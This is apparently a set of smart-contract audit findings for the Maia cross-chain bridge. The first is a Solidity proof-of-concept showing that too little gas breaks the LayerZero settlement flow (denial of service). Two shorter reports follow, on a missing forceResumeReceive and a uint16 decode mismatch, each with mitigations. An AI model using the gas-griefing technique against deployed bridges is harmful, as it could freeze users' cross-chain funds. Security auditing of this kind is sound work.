library ExcessivelySafeCall {
    uint256 constant LOW_28_MASK =
        0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff;

    /// @notice Use when you _really_ really _really_ don't trust the called
    /// contract. This prevents the called contract from causing reversion of
    /// the caller in as many ways as we can.
    /// @dev The main difference between this and a solidity low-level call is
    /// that we limit the number of bytes that the callee can cause to be
    /// copied to caller memory. This prevents stupid things like malicious
    /// contracts returning 10,000,000 bytes causing a local OOG when copying
    /// to memory.
    /// @param _target The address to call
    /// @param _gas The amount of gas to forward to the remote contract
    /// @param _maxCopy The maximum number of bytes of returndata to copy
    /// to memory.
    /// @param _calldata The data to send to the remote contract
    /// @return success and returndata, as `.call()`. Returndata is capped to
    /// `_maxCopy` bytes.
    function excessivelySafeCall(
        address _target,
        uint256 _gas,
        uint16 _maxCopy,
        bytes memory _calldata
    ) internal returns (bool, bytes memory) {
        // set up for assembly call
        uint256 _toCopy;
        bool _success;
        bytes memory _returnData = new bytes(_maxCopy);
        // dispatch message to recipient
        // by assembly calling "handle" function
        // we call via assembly to avoid memcopying a very large returndata
        // returned by a malicious contract
        assembly {
            _success := call(
                _gas, // gas
                _target, // recipient
                0, // ether value
                add(_calldata, 0x20), // inloc
                mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )
            // limit our copy to 256 bytes
            _toCopy := returndatasize()
            if gt(_toCopy, _maxCopy) {
                _toCopy := _maxCopy
            }
            // Store the length of the copied bytes
            mstore(_returnData, _toCopy)
            // copy the bytes from returndata[0:_toCopy]
            returndatacopy(add(_returnData, 0x20), 0, _toCopy)
        }
        return (_success, _returnData);
    }

    /// @notice Use when you _really_ really _really_ don't trust the called
    /// contract. This prevents the called contract from causing reversion of
    /// the caller in as many ways as we can.
    /// @dev The main difference between this and a solidity low-level call is
    /// that we limit the number of bytes that the callee can cause to be
    /// copied to caller memory. This prevents stupid things like malicious
    /// contracts returning 10,000,000 bytes causing a local OOG when copying
    /// to memory.
    /// @param _target The address to call
    /// @param _gas The amount of gas to forward to the remote contract
    /// @param _maxCopy The maximum number of bytes of returndata to copy
    /// to memory.
    /// @param _calldata The data to send to the remote contract
    /// @return success and returndata, as `.call()`. Returndata is capped to
    /// `_maxCopy` bytes.
    function excessivelySafeStaticCall(
        address _target,
        uint256 _gas,
        uint16 _maxCopy,
        bytes memory _calldata
    ) internal view returns (bool, bytes memory) {
        // set up for assembly call
        uint256 _toCopy;
        bool _success;
        bytes memory _returnData = new bytes(_maxCopy);
        // dispatch message to recipient
        // by assembly calling "handle" function
        // we call via assembly to avoid memcopying a very large returndata
        // returned by a malicious contract
        assembly {
            _success := staticcall(
                _gas, // gas
                _target, // recipient
                add(_calldata, 0x20), // inloc
                mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )
            // limit our copy to 256 bytes
            _toCopy := returndatasize()
            if gt(_toCopy, _maxCopy) {
                _toCopy := _maxCopy
            }
            // Store the length of the copied bytes
            mstore(_returnData, _toCopy)
            // copy the bytes from returndata[0:_toCopy]
            returndatacopy(add(_returnData, 0x20), 0, _toCopy)
        }
        return (_success, _returnData);
    }

    /**
     * @notice Swaps function selectors in encoded contract calls
     * @dev Allows reuse of encoded calldata for functions with identical
     * argument types but different names. It simply swaps out the first 4 bytes
     * for the new selector. This function modifies memory in place, and should
     * only be used with caution.
     * @param _newSelector The new 4-byte selector
     * @param _buf The encoded contract args
     */
    function swapSelector(
        bytes4 _newSelector,
        bytes memory _buf
    ) internal pure {
        require(_buf.length >= 4);
        uint256 _mask = LOW_28_MASK;
        assembly {
            // load the first word of
            let _word := mload(add(_buf, 0x20))
            // mask out the top 4 bytes
            // /x
            _word := and(_word, _mask)
            _word := or(_newSelector, _word)
            mstore(add(_buf, 0x20), _word)
        }
    }
}

interface ILayerZeroReceiver {
    // @notice LayerZero endpoint will invoke this function to deliver the message on the destination
    // @param _srcChainId - the source endpoint identifier
    // @param _srcAddress - the source sending contract address from the source chain
    // @param _nonce - the ordered message nonce
    // @param _payload - the signed payload is the UA bytes has encoded to be sent
    function lzReceive(
        uint16 _srcChainId,
        bytes calldata _srcAddress,
        uint64 _nonce,
        bytes calldata _payload
    ) external;
}

contract BridgeAgentConstants {
    // Settlement / Deposit Execution Status

    uint8 internal constant STATUS_READY = 0;

    uint8 internal constant STATUS_DONE = 1;

    uint8 internal constant STATUS_RETRIEVE = 2;

    // Settlement / Deposit Redeeem Status

    uint8 internal constant STATUS_FAILED = 1;

    uint8 internal constant STATUS_SUCCESS = 0;

    // Payload Encoding / Decoding

    uint256 internal constant PARAMS_START = 1;

    uint256 internal constant PARAMS_START_SIGNED = 21;

    uint256 internal constant PARAMS_TKN_START = 5;

    uint256 internal constant PARAMS_TKN_START_SIGNED = 25;

    uint256 internal constant PARAMS_ENTRY_SIZE = 32;

    uint256 internal constant PARAMS_ADDRESS_SIZE = 20;

    uint256 internal constant PARAMS_TKN_SET_SIZE = 109;

    uint256 internal constant PARAMS_TKN_SET_SIZE_MULTIPLE = 128;

    uint256 internal constant ADDRESS_END_OFFSET = 12;

    uint256 internal constant PARAMS_AMT_OFFSET = 64;

    uint256 internal constant PARAMS_DEPOSIT_OFFSET = 96;

    uint256 internal constant PARAMS_END_OFFSET = 6;

    uint256 internal constant PARAMS_END_SIGNED_OFFSET = 26;

    uint256 internal constant PARAMS_SETTLEMENT_OFFSET = 129;

    // Deposit / Settlement Multiple Max

    uint256 internal constant MAX_TOKENS_LENGTH = 255;
}

// LZ EndPoint (Mock only relevant code copied)
// https://github.com/LayerZero-Labs/LayerZero/blob/main/contracts/Endpoint.sol#L100-L125
contract Endpoint {
    struct StoredPayload {
        uint64 payloadLength;
        address dstAddress;
        bytes32 payloadHash;
    }

    // inboundNonce = [srcChainId][srcAddress].
    mapping(uint16 => mapping(bytes => uint64)) public inboundNonce;
    // outboundNonce = [dstChainId][srcAddress].
    mapping(uint16 => mapping(address => uint64)) public outboundNonce;
    // storedPayload = [srcChainId][srcAddress]
    mapping(uint16 => mapping(bytes => StoredPayload)) public storedPayload;

    function receivePayload(
        uint16 _srcChainId,
        bytes calldata _srcAddress,
        address _dstAddress,
        uint64 _nonce,
        uint _gasLimit,
        bytes calldata _payload
    ) public {
        try
            ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(
                _srcChainId,
                _srcAddress,
                _nonce,
                _payload
            )
        {
            // success, do nothing, end of the message delivery
        } catch (bytes memory reason) {
            // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode
            storedPayload[_srcChainId][_srcAddress] = StoredPayload(
                uint64(_payload.length),
                _dstAddress,
                keccak256(_payload)
            );
            //    emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason);
        }
    }

    function readStoredPayload(
        uint16 _srcChainId,
        bytes memory _srcAddress
    ) public view returns (StoredPayload memory) {
        return storedPayload[_srcChainId][_srcAddress];
    }
}

contract BranchBridgeAgentMock is BridgeAgentConstants {
    using ExcessivelySafeCall for address;

    /*///////////////////////////////////////////////////////////////
                            ONLY REQUIRED ERRORS FOR POC
    //////////////////////////////////////////////////////////////*/

    error LayerZeroUnauthorizedEndpoint();
    error LayerZeroUnauthorizedCaller();

    /// @notice Address for Bridge Agent who processes requests submitted for the Root Router Address
    ///         where cross-chain requests are executed in the Root Chain.
    address public immutable rootBridgeAgentAddress;

    /// @notice Local Layerzero Endpoint Address where cross-chain requests are sent to the Root Chain Router.
    address public immutable lzEndpointAddress;

    // State Vars for the sake of the PoC
    uint256[] public uselessArray;

    constructor(address _lzEndpointAddress, address _rootBridgeAgent) {
        lzEndpointAddress = _lzEndpointAddress;
        rootBridgeAgentAddress = _rootBridgeAgent;
    }

    /// @notice Modifier verifies the caller is the Layerzero Enpoint or Local Branch Bridge Agent.
    modifier requiresEndpoint(address _endpoint, bytes calldata _srcAddress) {
        _requiresEndpoint(_endpoint, _srcAddress);
        _;
    }

    /// @notice Internal function for caller verification. To be overwritten in `ArbitrumBranchBridgeAgent'.
    function _requiresEndpoint(
        address _endpoint,
        bytes calldata _srcAddress
    ) internal view virtual {
        //Verify Endpoint
        if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint();
        if (_endpoint != lzEndpointAddress)
            revert LayerZeroUnauthorizedEndpoint();

        //Verify Remote Caller
        if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();
        if (
            rootBridgeAgentAddress !=
            address(uint160(bytes20(_srcAddress[20:])))
        ) revert LayerZeroUnauthorizedCaller();
    }

    function lzReceive(
        uint16,
        bytes calldata _srcAddress,
        uint64,
        bytes calldata _payload
    ) public /*override*/ {
        address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(
                this.lzReceiveNonBlocking.selector,
                msg.sender,
                _srcAddress,
                _payload
            )
        );
    }

    function lzReceiveNonBlocking(
        address _endpoint,
        bytes calldata _srcAddress,
        bytes calldata _payload
    )
        public
        /*override*/
        requiresEndpoint(_endpoint, _srcAddress)
    {
        uint32 nonce;

        // Some code here (e.g. loop) to spend all the gas, so we run out of gas
        uint256 uselessSum = 0;
        for (uint256 i = 0; i < 10000; i++) {
            uselessSum += i;
            uselessArray.push(uselessSum);
        }
        
        // emit LogExecute(nonce, _srcChainId);
    }

    fallback() external payable {}

    receive() external payable {}
}

contract BreakSettelmentTest is DSTest, Test {
    BranchBridgeAgentMock branchBridgeAgent;
    Endpoint lzEndpoint;

    address rootBridgeAgent = vm.addr(8); // any address to construct srcAddress below

    function setUp() public {
        lzEndpoint = new Endpoint();
        branchBridgeAgent = new BranchBridgeAgentMock(
            address(lzEndpoint),
            address(rootBridgeAgent)
        );
    }

    /** Case #1: too little gas **/

    // Attacker can pass too little gas to break the settelment flow from Root to Branch
    // in our PoC, gasLimit that is equal or lower than 11_968 will cause the issue
    // RootBridgeAgentMockV2 is used
    function test_C1_settelment_flow_broken_too_little_gas() public {
        uint16 _srcChainId = 1;
        bytes memory _srcAddress = abi.encodePacked(
            address(branchBridgeAgent),
            address(rootBridgeAgent)
        );

        uint64 _nonce = 0;
        // random payload
        bytes memory _payload = new bytes(10000); // 10000 is the maximum allowed in LZ
        // 11_000 gas limit is used as an example
        uint256 _gasLimit = 11_000; // in our PoC, gasLimit that is equal or lower than 11_968 will cause the issue

        lzEndpoint.receivePayload{gas: 1 ether}( // Give big amount of gas for this, we don't want this to fail
            _srcChainId,
            _srcAddress,
            address(branchBridgeAgent),
            _nonce,
            _gasLimit,
            _payload
        );

        Endpoint.StoredPayload memory storedPayload = lzEndpoint
            .readStoredPayload(_srcChainId, _srcAddress);

        console.log("Case #1: too little gas");
        console.log("Gas Limit: %d", _gasLimit);
        console.log("Settelment Flow is broken when too little gas!");
        console.log("storedPayload.payloadHash =>");
        console.logBytes32(storedPayload.payloadHash);
        assertTrue(storedPayload.payloadHash != bytes32(0));
    }
}

Tools Used

Manual analysis

Recommended Mitigation Steps

When sending a message from any chain, enforce a minimum gas limit to be passed (remote execution gas as well). This minimum should be enough to execute the Opcodes before the actual call of lzReceiveNonBlocking done. This way we protect lzReceive from failure.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/RootBridgeAgent.sol#L32 https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/BranchBridgeAgent.sol#L45

Vulnerability details

Impact

The User Application (LZReceiver) should implement the ILayerZeroUserApplicationConfig interface which includes the forceResumeReceive function. This is very important as in the worst case, it can allow the owner to unblock the queue of messages if something unexpected/unpredicted occurs.

This is crucially important to have especially in emergency situations. I've reported 2 issues related to blocking messaging channel of LZ. This explains why it is highly recommended by LayerZero. Please check https://layerzero.gitbook.io/docs/evm-guides/best-practice

Proof of Concept

Please check RootBridgeAgent and BranchBridgeAgent. There is no Implementation of ILayerZeroUserApplicationConfig.

Tools Used

Manual analysis

Recommended Mitigation Steps

Implement forceResumeReceive to as a last resort in case something happens.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/c0dc3550e0754571b82d7bfd8f0282ac8fa5e42f/src/CoreRootRouter.sol#L332

Vulnerability details

Impact

adding global token in CoreRootRouter will revert if destChainId is greater than than 65535. This because the destChainId was encoded as uint256 then it is decoded as uint16.

Proof of Concept

On CoreBranchRouter the addGlobalToken method is building the payload data and passing params to send it later to CoreBranchRouter CoreBranchRouter: L43

function addGlobalToken(address _globalAddress, uint256 _dstChainId, GasParams[3] calldata _gParams)
        external
        payable
    {
        // Encode Call Data
        bytes memory params = abi.encode(msg.sender, _globalAddress, _dstChainId, [_gParams[1], _gParams[2]]);

        // Pack FuncId
        bytes memory payload = abi.encodePacked(bytes1(0x01), params);

        // Send Cross-Chain request (System Response/Request)
        IBridgeAgent(localBridgeAgentAddress).callOut{value: msg.value}(payable(msg.sender), payload, _gParams[0]);
    }

Here is where the params are encoded CoreBranchRouter: L48-L51

bytes memory params = abi.encode(msg.sender, _globalAddress, _dstChainId, [_gParams[1], _gParams[2]]);


       // Pack FuncId
       bytes memory payload = abi.encodePacked(bytes1(0x01), params);

Notice that _dstChainId is uint256

The issue occurs when the function of CoreRootRouter decodes the values of the payload data L332

	function execute(bytes calldata _encodedData, uint16) external payable override requiresExecutor {
			// Parse funcId
			bytes1 funcId = _encodedData[0];

			/// FUNC ID: 1 (_addGlobalToken)
			if (funcId == 0x01) {
				(address refundee, address globalAddress, uint16 dstChainId, GasParams[2] memory gasParams) =
					abi.decode(_encodedData[1:], (address, address, uint16, GasParams[2]));

				_addGlobalToken(refundee, globalAddress, dstChainId, gasParams);

				/// Unrecognized Function Selector
			} else {
				revert UnrecognizedFunctionId();
			}
		}

As you see at CoreRootRouter: L338-L339 the decoded types on CoreRootRouter do not match with addGlobalToken method on CoreBranchRouter:

	(address refundee, address globalAddress, uint16 dstChainId, GasParams[2] memory gasParams) =
					abi.decode(_encodedData[1:], (address, address, uint16, GasParams[2]));

Since the dstChainId is decoded as uint16, if the value is greater than 65535, it will revert.

Tools Used

Manual Review

Recommended Mitigation Steps

Decoding types should match the ones when encoding.

Assessed type

Other